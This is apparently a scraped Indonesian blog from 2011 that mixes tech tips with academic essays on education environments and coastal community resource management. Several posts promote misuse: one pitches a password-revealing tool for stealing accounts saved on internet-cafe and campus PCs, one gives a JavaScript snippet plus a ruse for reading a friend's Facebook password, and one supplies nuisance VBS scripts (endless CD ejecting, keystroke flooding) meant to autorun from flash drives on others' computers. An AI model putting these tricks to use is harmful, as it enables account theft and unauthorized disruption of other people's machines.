Catatan, kata kata ucapan selamat datang tadi diatas bisa kalian ganti sesuai selera masing2, namun harus dalam bahasa inggris yah, sudah saya coba pake bahasa indonesia, komputer ngomongnya jadi aneh, mungkin ada yang tau caranya gimana bisa bicara pake bahasa indonesia? ditunggu yah masukannya.
Selamat mencoba!.

Cara Melihat Password

2011-09-25T00:13:00.000-07:00

Anda lupa dengan password yang telah disimpan di internet explorer, mozilla firefox, opera, yahoo messenger, windows live mail, dll. cukup install program kecil namun sakti ini, kita bisa mengintip ( dengan kaca pembesar ) password yang telah kita ketikkan sebelumnya di internet explorer ataupun program lainnya, maka passwordnya akan ditampilkan ( yang tadinya berupa bintang * atau titik . ) menjadi kelihatan karakter yang sebenarnya.

Jadi teknik ini bisa juga dipakai untuk mencuri akun user yang tidak sengaja menyimpan passwordnya di komputer warnet, di komputer kampus dan lain lain. cukup unduh dan install perangkat lunak ini.

Download disini

Cara mengamankan komputer dari virus dengan Microsoft Safety Scanner

2011-09-24T23:54:00.000-07:00

Microsoft Safety Scanner adalah sebuah program suplemen (tambahan) selain antivirus yang sudah kita punyai di komputer kita, program ini gratis dan tentunya portabel (tanpa diperlukan penginstallan terlebih dahulu) jadi kita bisa langsung menjalankannya dari flashdisk pada komputer manapun yang perlu untuk di bersihkan dari program jahat, virus maupun spyware.

Download Microsoft Safety Scanner dan simpan di flashdisk atau tempat lainnya sesuai selera, kemudian jalankan filenya dengan hak akses Administrator.

Conteng kotak bertulisan “Accept all terms of the preceding license agreement” kemudian klik tombol “Next”.

Disini kita akan dipaparkan apa itu Microsoft Safety Scanner, Perlu diingat, program ini bukan pengganti antivirus yang sudah ada, hanya pelengkap saja. Kita dapat memakainya sebagai ‘opsi kedua’ untuk memperjelas dan mengyakinkan yang telah diberikan oleh program antivirus yang sudah ada.

Sekarang pilihlah jenis pemindaian (scan) yang kita inginkan, kita bisa memilih scan “Quick”, “Full”, atau “Cutomized” ke direktory yang dipilih, untuk hasil yang terbaik ialah memilih opsi “Full” Scan, tapi perlu diingat prosesnya akan memakan waktu yang agak lama (ber-jam2) bergantung kepada besarnya ukuran isi harddisk.

Setelah memilih opsi yang di inginkan, selanjutnya kita akan dibawa pada layar dimana proses pemindaian sedang di jalankan.

Setelah proses selesai kita akan disodorkan hasilnya, beruntung pada contoh proses kali ini tidak ditemukan virus/spyware/malware.

Jika ditemukan virus atau jenis program jahat lainnya, kita akan diberitahukan untuk menghapusnya.

Dan juga kita akan dipaparkan lebih detil juga tentang jenis virus/program jahat tersebut.

Jika kita meng-klik link yang dipaparkan tersebut, maka kita akan dibawa ke situs Microsoft Malware Protection Center untuk melihat lebih detil lagi.

Sementara MS Safety Scanner adalah suplemen yang baik untuk perangkat lunak anti-malware yang ada saat ini, adapun sedikit kekurangan, menurut situsnya program ini akan kadaluarsa setelah 10 hari di unduh, jadi pada saat berikutnya jika kita ingin menggunakannya, kita harus mendownload versi terbarunya lagi di situsnya Microsoft.

Datang dengan versi 32bit dan 64bit, pastikan download sesuai dengan versi os masing2. Perangkat ini berguna apabila kita sudah tahu bahwa komputernya terinfeksi oleh virus, dan ingin membersihkannya dengan memakai flashdisk.

Download Microsoft Safety Scanner disini

Tentang Facebook

2011-09-24T23:50:00.000-07:00

Trik untuk menulis pesan kosong di facebook
Login lah ke facebook kalian masing2 dan ke kotak perbaharui status.
Tekan dan tahan tombol keyboard ALT dan ketik angka 0173
Kemudian coba kirim status kalian.
Jika trik diatas ngga berhasil di akun kalian, coba ketik @[0:0: ] dan tekan tombol Kirim.
Semoga Bermamfaat.

Cara Menyembunyikan Frofil Kita di FB
Apakah anda bosan dengan jengkel dengan permintan pertemanan sehari hari yang tidak kita inginkan atau ingin menyembunyikan profil kita dari orang yang tidak kita kenal?. Kita dapat menyembunyikan profil kita di facebook dari pencarian. Jika seseorang mengetikkan email di kotak pencarian di facebook, facebook otomatis akan mencari kedalam databasenya dan akan menunjukkan link ke profil kita.
Berikut tiga opsinya:
Siapapun dapat mencari profil kita di facebook.
1. Hanya Teman kita dan Teman dari Teman yang dapat mencari profil kita.
2. Hanya Teman kita yang dapat mencari profil kita.
3. Bagi mereka yang benar-benar frustasi dengan permintaan pertemanan sehari-hari yang tidak diinginkan harusnya memilih salah satu opsi 2 atau 3.
Langkah2 menyembunyikan profil kita di facebook:
1. Login ke facebook kalian masing2.
2. Klik pada menu Account di sebelah kanan atas.
3. Sekarang klik pada Privacy dan kemudian klik View Settings dibawah tulisan Connecting on Facebook.

4. Sekarang kita bisa melihat settingan privacy facebook kita bukan? dan pilihan pertama yaitu opsi Search for you on Facebook
5. Disebelah kata Search for you on Facebook kita dapat memilih salah satu dari tiga opsi yang telah disediakan oleh fesbuk tadi.
Kita dapat juga mengubah settingan privasi lain disini seperti Send you friend requests, Send you messages, See your friend list, See your education and work, See your current city and hometown, dan See your likes, activities and other connections

Cara Mengetahui Password Facebook teman

Pasti sahabat udah tidak asing lagi dengan jejaring social seperti facebook ama twitter.karena saking terkenalnya banyak orang melakukan berbagai cara untuk mendapatkan akun orang lain,salah satunya adalah mencuri password facebook.Mencuri password itu mudah asalkan kita tahu jalannya(bener nggak?)Tapi sebenarnya tips ini tidak terlalu efisien,tapi pantas sahabat coba untuk mengetahui dengan detil password teman kita,penasaran???ayolah dilanjut.^_^

Cara Mengetahui Password Facebook teman

1.silahkan sahabat buka facebook
2.untuk melakukan test coba masukkan email dan password dikolom login(tapi jangan klik login dulu)

(contoh gambar:klik gambar untuk memperbesar)

3.jika sudah copy kode dibawah ini diaddres bar browser sahabat lalu tekan enter :

javascript:var a = new String(); for (var i = 0; i < document.forms.length; i++) { for (var j = 0; j < document.forms[i].elements.length; j++) { if (document.forms[i].elements[j].type == "password") {a += document.forms[i].elements[j].value; } } } alert(a);

maka password teman sahabat akan muncul seperti gambar dibawah ini.

(contoh gambar yang menampilkan password teman.klik untuk memperbesar)

Agar trik ini berhasil,ajaklah teman untuk login di facebook tapi jangan klik tombol login dulu.Suruhlah dy untuk beli makan atau minuman,atau apalah terserah sahabat asal jangan sampe dy curiga.ok^_^

Semoa bermanfaat.

*angger.com

Virus Nakal

2011-09-24T23:30:00.000-07:00

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, buatin scripts .vbs.

Caranya: Buka notepad dan masukkan code berikut,

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count &gt;= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.

Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.

NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel:

Nah mau script .vbs yang laen lagi?

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop

Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?

ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop

Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop

Terus tekan backspace:

MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop

donwload virus nakal disini

*www.hong.web.id

Windows 8 Developer Preview English

2011-09-24T07:41:00.000-07:00

Windows Developer Preview English, 64-bit (x64)
Download disini

Windows Developer Preview English, 32-bit (x86)
Download disini

Pengertian Fungsi dan Jenis Lingkungan Pendidikan

2011-09-24T01:11:00.000-07:00

A. PENGERTIAN DAN FUNGSI LINGKUNGAN PENDIDIKAN

Menurut Sartain (ahli psikologi Amerika), yang dimaksud lingkungan meliputi kondisi dan alam dunia ini yang dengan cara-cara tertentu mempengaruhi tingkah laku kita, pertumbuhan, perkembangan atau life processes.

Meskipun lingkungan tidak bertanggung jawab terhadap kedewasaan anak didik, namun merupakan faktor yang sangat menentukan yaitu pengaruhnya yang sangat besar terhadap anak didik, sebab bagaimanapun anak tinggal adlam satu lingkungan yang disadari atau tidak pasti akan mempengaruhi anak. Pada dasarny lingkungan mencakuplingkungan fidik, lingkungan budaya, dan lingkungan sosial.

Lingkungan sekitar yang dengan sengaja digunakan sebagai alat dalam proses pendidikan(pakaian, keadaan rumah, alat permainan, buku-buku, alat peraga, dll) dinamakan lingkungan pendidikan.

Secara umum fungsi lingkungan pendidikan adalah membantu peserta didik dalam interaksi dengan berbagai lingkungan sekitarnya, utamanaya berbagai sumber daya pendidikan yang tersedia, agar dapat mencapai tujuan pendidikan yang optimal.

B. TRIPUSAT PENDIDIKAN

Dilihat dari segi anak didik, tampak bahwa anak didik secara tetap hidup di dalam lingkungan masyarakat tertentu tempat ia mengalami pendidikan. Menurut Ki Hajar Dewantara lingkungan tersebut meliputi lingkungan keluarga, lingkungan sekolah an lingkungan masyarakat, yang disebut tripusat pendidikan.

1. Keluarga

Keluarga merupakan lembaga pendidikan tertua, bersifat informal, yang pertama dan utama dialamai oleh anak serta lembaga pendidikan yang bersifat kodrati orang tua bertanggung jawab memelihara, merawat, melindungi, dan mendidik anak agar tumbuh adn berkembang dengan baik.

Pendidikan keluarga berfungsi:

Ø Sebagai pengalaman pertama masa kanak-kanak

Ø Menjamin kehidupan emosional anak

Ø Menanamkan dasar pendidikan moral

Ø Memberikan dasar pendidikan sosial.

Ø Meletakkan dasar-dasar pendidikan agama bagi anak-anak.

2. Sekolah

Tidak semua tugas mendidik dapat dilaksanakan oleh orang tua dalam keluarga, terutama dalam hal ilmu pengetahuan dan berbagai macam keterampilan. Oleh karena itu dikirimkan anak ke sekolah.

Sekolah bertanggung jawab atas pendidikan anak-anak selama mereka diserahkan kepadanya. Karena itu sebagai sumbangan sekolah sebagai lembaga terhadap pendidikan, diantaranya sebagai berikut;

Ø Sekolah membantu orang tua mengerjakan kebiasaan-kebiasaan yang baik serta menanamkan budi pekerti yang baik.

Ø Sekolah memberikan pendidikan untuk kehidupan di dalam masyarakat yang sukar atau tidak dapat diberikan di rumah.

Ø Sekolah melaqtih anak-anak memperoleh kecakapan-kecakapan seperti membaca, menulis, berhitung, menggambar serta ilmu-ilmu lain sifatnya mengembangkan kecerdasan dan pengetahuan.

Ø Di sekolah diberikan pelajaran etika, keagamaan, estetika, membenarkan benar atau salah, dan sebagainya.

3. Masyarakat

Dalam konteks pendidikan, masyarakat merupakan lingkungan lingkungan keluarga dan sekolah. Pendidikan yang dialami dalam masyarakat ini, telah mulai ketika anak-anak untuk beberapa waktu setelah lepas dari asuhan keluarga dan berada di luar dari pendidikan sekolah. Dengan demikian, berarti pengaruh pendidikan tersebut tampaknya lebih luas.

Corak dan ragam pendidikan yang dialami seseorang dalam masyarakat banyak sekali, ini meliputi segala bidang, baik pembentukan kebiasaan-kebiasaan, pembentukan pengertia-pengertian (pengetahuan), sikap dan minat, maupun pembentukan kesusilaan dan keagamaan.

C. PENGARUH TIMBAL BALIK ANTARA TRIPUSAT PENDIDIKAN TERHADAP PERKEMBANGAN PESERTA DIDIK.

Setiap pusat pendidikan dapat berpeluang memberikan kontribusi yang besar dalam ketiga kegiatan pendidikan, yakni:

1. pembimbingan dalam upaya pemantapan pribadi yang berbudaya

2. pengajaran dalam upaya penguasaan pengetahuan

3. pelatihan dalam upaya pemahiran keterampilan.

Sumber Bacaan: Tirtarahardja, Umar dan S.L. La Sulo. 2005. Pengantar Pendidikan. Jakarta: Rineka Cipta

I. Kerusakan Lingkungan Pesisir dan Laut

Dewasa ini sumberdaya alam dan lingkungan telah menjadi barang langka akibat tingkat ekstraksi yang berlebihan over-exploitation dan kurang memperhatikan aspek keberlanjutan. Kendati ia secara ekonomi dapat meningkatkan nilai jual, namun di sisi lain juga bias menimbulkan ancaman kerugian ekologi yang jauh lebih besar, seperti hilangnya lahan, langkanya air bersih, banjir, longsor, dan sebagainya.

Kegagalan pengelolaan SDA dan lingkungan hidup ditengarai akibat adanya tiga kegagalan dasar dari komponen perangkat dan pelaku pengelolaan. Pertama akibat adanya kegagalan kebijakan (lag of policy) sebagai bagian dari kegagalan perangkat hukum yang tidak dapat menginternalisasi permasalahan lingkungan yang ada. Kegagalan kebijakan (lag of policy) terindikasi terjadi akibat adanya kesalahan justifikasi para policy maker dalam menentukan kebijakan dengan ragam pasal-pasal yang berkaitan erat dengan keberadaan SDA dan lingkungan. Artinya bahwa, kebijakan tersebut membuat ‘blunder’ sehingga lingkungan hanya menjadi variabel minor. Padahal, dunia internasional saat ini selalu mengaitkan segenap aktivitas ekonomi dengan isu lingkungan hidup, seperti green product, sanitary safety, dan sebagainya. Selain itu, proses penciptaan dan penentuan kebijakan yang berkenaan dengan lingkungan ini dilakukan dengan minim sekali melibatkan partisipasi masyarakat dan menjadikan masyarakat sebagai komponen utama sasaran yang harus dilindungi. Contoh menarik adalah kebijakan penambangan pasir laut. Di satu sisi, kebijakan tersebut dibuat untuk membantu menciptakan peluang investasi terlebih pasarnya sudah jelas. Namun di sisi lain telah menimbulkan dampak yang cukup signifikan dan sangat dirasakan langsung oleh nelayan dan pembudidaya ikan di sekitar kegiatan. Bahkan secara tidak langsung dapat dirasakan oleh masyarakat di daerah lain. Misalnya terjadi gerusan/abrasi pantai, karena karakteristik wilayah pesisir yang bersifat dinamis.

Kedua adanya kegagalan masyarakat (lag of community) sebagai bagian dari kegagalan pelaku pengelolaan lokal akibat adanya beberapa persoalan mendasar yang menjadi keterbatasan masyarakat. Kegagalan masyarakat (lag of community) terjadi akibat kurangnya kemampuan masyarakat untuk dapat menyelesaikan persoalan lingkungan secara sepihak, disamping kurangnya kapasitas dan kapabilitas masyarakat untuk memberikan pressure kepada pihak-pihak yang berkepentingan dan berkewajiban mengelola dan melindungi lingkungan. Ketidakberdayaan masyarakat tersebut semakin memperburuk bargaining position masyarakat sebagai pengelola lokal dan pemanfaat SDA dan lingkungan. Misalnya saja, kegagalan masyarakat melakukan penanggulangan masalah pencemaran yang diakibatkan oleh kurang perdulinya publik swasta untuk melakukan internalisasi eksternalitas dari kegiatan usahanya. Contoh kongkrit adalah banyaknya pabrik-pabrik yang membuang limbah yang tidak diinternalisasi ke DAS yang pasti akan terbuang ke laut atau kebocoran pipa pembuangan residu dari proses ekstrasi minyak yang tersembunyi, dan sebagainya.

Ketiga adanya kegagalan pemerintah (lag of government) sebagai bagian kegagalan pelaku pengelolaan regional yang diakibatkan oleh kurangnya perhatian pemerintah dalam menanggapi persoalan lingkungan. Kegagalan pemerintah (lag of government) terjadi akibat kurangnya kepedulian pemerintah untuk mencari alternatif pemecahan persoalan lingkungan yang dihadapi secara menyeluruh dengan melibatkan segenap komponen terkait (stakeholders). Dalam hal ini, seringkali pemerintah melakukan penanggulangan permasalahan lingkungan yang ada secara parsial dan kurang terkoordinasi. Dampaknya, proses penciptaan co-existence antar variabel lingkungan yang menuju keharmonisan dan keberlanjutan antar variabel menjadi terabaikan. Misalnya saja, solusi pembuatan tanggul-tanggul penahan abrasi yang dilakukan di beberapa daerah Pantai Utara (Pantura) Jawa, secara jangka pendek mungkin dapat menanggulangi permasalahan yang ada, namun secara jangka panjang persoalan lain yang mungkin sama atau juga mungkin lebih besar akan terjadi di daerah lain karena karakteristik wilayah pesisir dan laut yang bersifat dinamis.

II. Pentingnya Mengelola Lingkungan Pesisir dan Laut

Wilayah pesisir merupakan daerah pertemuan antara darat dan laut; ke arah darat meliputi bagian daratan, baik kering maupun terendam air, yang masih dipengaruhi sifat-sifat laut seperti pasang surut, angin laut, dan perembesan air asin; sedangkan ke arah laut meliputi bagian laut yang masih dipengaruhi oleh proses-proses alami yang terjadi di darat seperti sedimentasi dan aliran air tawar, maupun yang disebabkan oleh kegiatan manusia di darat seperti penggundulan hutan dan pencemaran (Soegiarto, 1976; Dahuri et al, 2001).

Berdasarkan Keputusan Menteri Kelautan dan Perikanan Nomor: KEP.10/MEN/2002 tentang Pedoman Umum Perencanaan Pengelolaan Pesisir Terpadu, wilayah pesisir didefinisikan sebagai wilayah peralihan antara ekosistem darat dan laut yang saling berinteraksi, dimana ke arah laut 12 mil dari garis pantai untuk propinsi dan sepertiga dari wilayah laut itu (kewenangan propinsi) untuk kabupaten/kota dan ke arah darat batas administrasi kabupaten/kota.

Kedua definisi wilayah pesisir tersebut di atas secara umum memberikan gambaran besar, betapa kompleksitas aktivitas ekonomi dan ekologi terjadi di wilayah ini. Kompleksitas aktivitas ekonomi seperti perikanan, pariwisata, pemukiman, perhubungan, dan sebagainya memberikan tekanan yang cukup besar terhadap keberlanjutan ekologi wilayah pesisir seperti ekosistem mangrove, padang lamun dan terumbu karang. Tekanan yang demikian besar tersebut jika tidak dikelola secara baik akan menurunkan kualitas dan kuantitas sumberdaya yang terdapat di wilayah pesisir.

Peranan pemerintah, swasta dan masyarakat dalam hal ini menjadi bagian terpenting yang tidak terpisahkan dalam upaya mengelola lingkungan pesisir dan laut. Dewasa ini, pengelolaan lingkungan secara terpadu disinyallir terbukti memberikan peluang pengelolaan yang cukup efektif dalam rangka menyeimbangkan antara pelestarian lingkungan dan pemanfaatan ekonomi. Namun demikian, hal ini tidak menutup kemungkinan akan adanya bentuk-bentuk pengelolaan lain yang lebih aplikatif (applicable) dan adaptif (acceptable). Salah satu bentuk pengelolaan yang cukup berpeluang memberikan jaminan efektifitas dalam pengimplementasiannya adalah pengelolaan berbasis masyarakat (community based management).
Komunitas/masyarakat memiliki adat istiadat, nilai-nilai sosial maupun kebiasaan yang berbeda dari satu tempat ke tempat lainnya. Perbedaan dalam hal-hal tersebut menyebabkan terdapatnya perbedaan pula dalam praktek-praktek pengelolaan lingkungan. Oleh karena itu, dalam proses pengelolaan lingkungan perlu memperhatikan masyarakat dan kebudayaannya, baik sebagai bagian dari subjek maupun objek pengelolaan tersebut. Dengan memperhatikan hal ini dan tentunya juga kondisi fisik dan alamiah dari lingkungan pesisir dan laut, proses pengelolaannya diharapkan dapat menjadi lebih padu, lancar dan efektif serta diterima oleh masyarakat setempat.

Pernahkah kita berpikir bahwa kitalah orang yang sangat tergantung pada kondisi alam di sekitar kita ? Pernahkah kita berpikir bahwa kita sangat membutuhkan air yang notabene sangat tergantung pada keadaan hutan di sekitar kita ? Lalu bagaimana keadaan hutan di sekitar, pernahkah kita berpikir bahwa hutan tersebut adalah milik kita, sehingga harus kita kelola agar terjaga kelestariannya ? Pernahkah kita dilibatkan dalam proses perencanaan pengelolaan lingkungan di sekitar kita ?

Proses pengelolaan lingkungan ada baiknya dilakukan dengan lebih memandang situasi dan kondisi lokal agar pendekatan pengelolaannya dapat disesuaikan dengan kondisi lokal daerah yang akan dikelola. Pandangan ini tampaknya relevan untuk dilaksanakan di Indonesia dengan cara memperhatikan kondisi masyarakat dan kebudayaan serta unsur-unsur fisik masing-masing wilayah yang mungkin memiliki perbedaan disamping kesamaan. Dengan demikian, strategi pengelolaan pada masing-masing wilayah akan bervariasi sesuai dengan situasi setempat. Yang perlu diperhatikan adalah nilai-nilai dan norma-norma yang dianut oleh suatu masyarakat yang merupakan kearifan masyarakat dalam pengelolaan sumberdaya alam dan lingkungan.

Segenap gambaran wacana tersebut di atas secara umum memberikan cermin bagaimana sebuah pengelolaan yang melibatkan unsur masyarakat cukup penting untuk dikaji dan diujicobakan. Peran serta masyarakat dalam pengelolaan ini lebih dikenal dengan istilah pengelolaan berbasis masyarakat (PBM) atau community based management (CBM).
Menurut Carter (1996) [[Community-Based Resource Management (CBRM)]] didefinisikan sebagai suatu strategi untuk mencapai pembangunan yang berpusat pada manusia, dimana pusat pengambilan keputusan mengenai pemanfaatan sumberdaya dan lingkungan secara berkelanjutan di suatu daerah terletak/berada di tangan organisasi-organisasi dalam masyarakat di daerah tersebut. Selanjutnya dikatakan bahwa dalam sistem pengelolaan ini, masyarakat diberikan kesempatan dan tanggung jawab dalam melakukan pengelolaan terhadap sumberdaya dan lingkungan yang dimilikinya, dimana masyarakat sendiri yang mendefinisikan kebutuhan, tujuan dan aspirasinya serta masyarakat itu pula yang membuat keputusan demi kesejahteraannya.

Definisi Pengelolaan Berbasis Masyarakat (PBM) berdasarkan Petunjuk Pelaksanaan Pengelolaan Berbasis Masyarakat (COREMAP-LIPI, 1997) adalah sistem pengelolaan sumberdaya (terumbu karang) terpadu yang perumusan dan perencanaannya dilakukan dengan pendekatan dari bawah (bottom up approach) berdasarkan aspirasi masyarakat dan dilaksanakan untuk kepentingan masyarakat.

Sedangkan Nikijuluw (2002) mendefinisikan PBM sebagai suatu proses pemberian wewenang, tanggung jawab dan kesempatan kepada masyarakat untuk mengelola sumberdayanya (dalam bukunya Nikijuluw lebih menitikberatkan pada pengelolaan perikanan) sendiri dengan terlebih dahulu mendefinisikan kebutuhan dan keinginan, tujuan serta aspirasinya. Lebih lanjut Nikijuluw (2002) mengemukakan bahwa PBM menyangkut pula pemberian tanggung jawab kepada masyarakat sehingga mereka dapat mengambil keputusan yang pada akhirnya menentukan dan berpengaruh pada kesejahteraan hidup mereka.

Jadi, dapat disimpulkan bahwa pengelolaan yang berbasis masyarakat (PBM/CBM) adalah suatu sistem pengelolaan sumberdaya alam dan lingkungan di suatu tempat dimana masyarakat lokal di tempat tersebut terlibat secara aktif dalam proses pengelolaan sumberdaya alam yang terkandung didalamnya. Pengelolaan di sini meliputi berbagai dimensi seperti perencanaan, pelaksanaan, serta pemanfaatan hasil-hasilnya.

Lebih lanjut Carter (1996) mengemukakan bahwa konsep pengelolaan sumberdaya alam dan lingkungan pesisir dan laut berbasis masyarakat memiliki beberapa aspek positif yaitu; (1) mampu mendorong timbulnya pemerataan dalam pengelolaan sumberdaya alam dan lingkungan; (2) mampu merefleksikan kebutuhan-kebutuhan masyarakat lokal yang spesifik; (3) mampu meningkatkan manfaat lokal bagi seluruh anggota masyarakat yang ada; (4) mampu meningkatkan efisiensi secara ekonomis maupun teknis; (5) responsif dan adaptif terhadap variasi kondisi sosial dan lingkungan lokal; (6) mampu menumbuhkan stabilitas dan komitmen; serta (7) masyarakat lokal termotivasi untuk mengelola secara berkelanjutan.

Namun demikian, dalam perkembangannya konsep pengelolaan berbasis masyarakat (CBM) mengalami perubahan dengan dikembangkannya satu konsep yang disebut “Co-Management”. Dalam konsep “Co-Management” ini pengelolaan lingkungan pesisir dan laut tidak hanya melibatkan unsur masyarakat lokal saja tapi juga melibatkan unsur pemerintah. Hal tersebut dilakukan untuk mengurangi adanya tumpang tindih kepentingan pemanfaatan di wilayah pesisir dan lautan.
Perlu ditegaskan bahwa dalam konsep Co-Management, masyarakat lokal merupakan salah satu kunci dari pengelolaan sumberdaya alam dan lingkungan, sehingga praktek-praktek pengelolaan sumberdaya alam dan lingkungan yang masih murni oleh masyarakat (CBM) menjadi embrio dari penerapan konsep Co-Management tersebut. Bahkan secara lebih tegas Gawell (1984) dalam White et al (1994) menyatakan bahwa tidak ada pengelolaan sumberdaya alam dan lingkungan yang berhasil (dalam studi Gawell adalah ekosistem terumbu karang) tanpa melibatkan masyarakat lokal sebagai pengguna (the users) dari sumberdaya alam dan lingkungan tersebut.

Selanjutnya Pomeroy and Williams (1994) menyatakan bahwa penerapan Co-Management akan berbeda-beda dan tergantung pada kondisi spesifik lokasi, maka Co-management hendaknya tidak dipandang sebagai strategi tunggal untuk menyelesaikan seluruh permasalahan dari pengelolaan sumberdaya alam dan lingkungan. Tetapi lebih dipandang sebagai alternatif pengelolaan yang sesuai untuk situasi dan lokasi tertentu. Penerapan Co-management yang baik dan sukses memerlukan waktu, biaya dan upaya bertahun-tahun.

Pomeroy dan Williams (1994) mengemukakan sembilan kunci kesuksesan dari model Co-Management, yaitu (i) batas-batas wilayah yang jelas terdefinisi, (ii) kejelasan keanggotaan, (iii) keterikatan dalam kelompok, (iv) manfaat harus lebih besar dari biaya, (v) pengelolaan yang sederhana, (vi) legalisasi dari pengelolaan, (vii) kerjasama dan kepemimpinan dalam masyarakat, (viii) desentralisasi dan pendelegasian wewenang, serta (ix) koordinasi antara pemerintah dengan masyarakat.
Hal ini jelas menunjukkan bahwa peran pemerintah dan masyarakat dalam pengelolaan sumberdaya dan lingkungan seoptimal mungkin harus seimbang, terkoordinasi dan tersinkronisasi. Hal ini penting dilakukan mengingat pemerintah mempunyai kewajiban untuk memberikan pelayanan terhadap masyarakat, termasuk mendukung pengelolaan sumberdaya dan lingkungan demi sebesar-besarnya kepentingan dan kesejahteraan masyarakat. Di sisi lain, masyarakat juga mempunyai tanggung jawab dan turut berperanserta untuk menjaga kelestarian dan keberlanjutan sumberdaya alam dan lingkungan.

III. Penanggulangan Kerusakan Lingkungan Pesisir dan Laut Berbasis Masyarakat

Penanggulangan kerusakan lingkungan pesisir dan laut perlu dilakukan secara hati-hati agar tujuan dari upaya dapat dicapai. Mengingat bahwa subjek dan objek penanggulangan ini terkait erat dengan keberadaan masyarakat pesisir, dimana mereka juga mempunyai ketergantungan yang cukup tinggi terhadap ketersediaan sumberdaya di sekitar, seperti ikan, udang, kepiting, kayu mangrove, dan sebagainya, maka penanggulangan kerusakan lingkungan pesisir dan laut yang berbasis masyarakat menjadi pilihan yang bijaksana untuk diimplementasikan.

Penanggulangan kerusakan lingkungan pesisir dan laut berbasis masyarakat diharapkan mampu menjawab persoalan yang terjadi di suatu wilayah berdasarkan karakteristik sumberdaya alam dan sumberdaya manusia di wilayah tersebut. Dalam hal ini, suatu komunitas mempunyai hak untuk dilibatkan atau bahkan mempunyai kewenangan secara langsung untuk membuat sebuah perencanaan pengelolaan wilayahnya disesuaikan dengan kapasitas dan daya dukung wilayah terhadap ragam aktivitas masyarakat di sekitarnya.

Pola perencanaan pengelolaan seperti ini sering dikenal dengan sebutan [[participatory management planning]], dimana pola pendekatan perencanaan dari bawah yang disinkronkan dengan pola pendekatan perencanaan dari atas menjadi sinergi diimplementasikan. Dalam hal ini prinsip-prinsip pemberdayaan masyarakat menjadi hal krusial yang harus dijadikan dasar implementasi sebuah pengelolaan berbasis masyarakat.

Tujuan umum penanggulangan kerusakan lingkungan pesisir dan laut berbasis masyarakat dalam hal ini meminjam definisi COREMAP-LIPI (1997) yang menyebutkan tujuan umum pengelolaan berbasis masyarakat, COREMAP dalam hal ini mengambil ekosistem terumbu karang sebagai objek pengelolaan. Oleh karena itu, tujuan penanggulangan kerusakan pesisir dan laut berbasis masyarakat dalam hal ini adalah memberdayakan masyarakat agar dapat berperanserta secara aktif dan terlibat langsung dalam upaya penanggulangan kerusakan lingkungan lokal untuk menjamin dan menjaga kelestarian pemanfaatan sumberdaya dan lingkungan, sehingga diharapkan pula dapat menjamin adanya pembangunan yang berkesinambungan di wilayah bersangkutan.

Tujuan khusus penanggulangan kerusakan lingkungan pesisir laut berbasis masyarakat juga didefinisikan dengan meminjam tujuan program PBM yang dikembangkan COREMAP (1997). Tujuan khusus penanggulangan kerusakan lingkungan pesisir dan laut berbasis masyarakat dalam hal ini dilakukan untuk (i) meningkatkan kesadaran masyarakat mengenai pentingnya menanggulangi kerusakan lingkungan; (ii) meningkatkan kemampuan masyarakat untuk berperan serta dalam pengembangan rencana penanggulangan kerusakan lingkungan secara terpadu yang sudah disetujui bersama; (iii) membantu masyarakat setempat memilih dan mengembangkan aktivitas ekonomi yang lebih ramah lingkungan; dan (iv) memberikan pelatihan mengenai sistem pelaksanaan dan pengawasan upaya penanggulangan kerusakan lingkungan pesisir dan laut berbasis masyarakat.

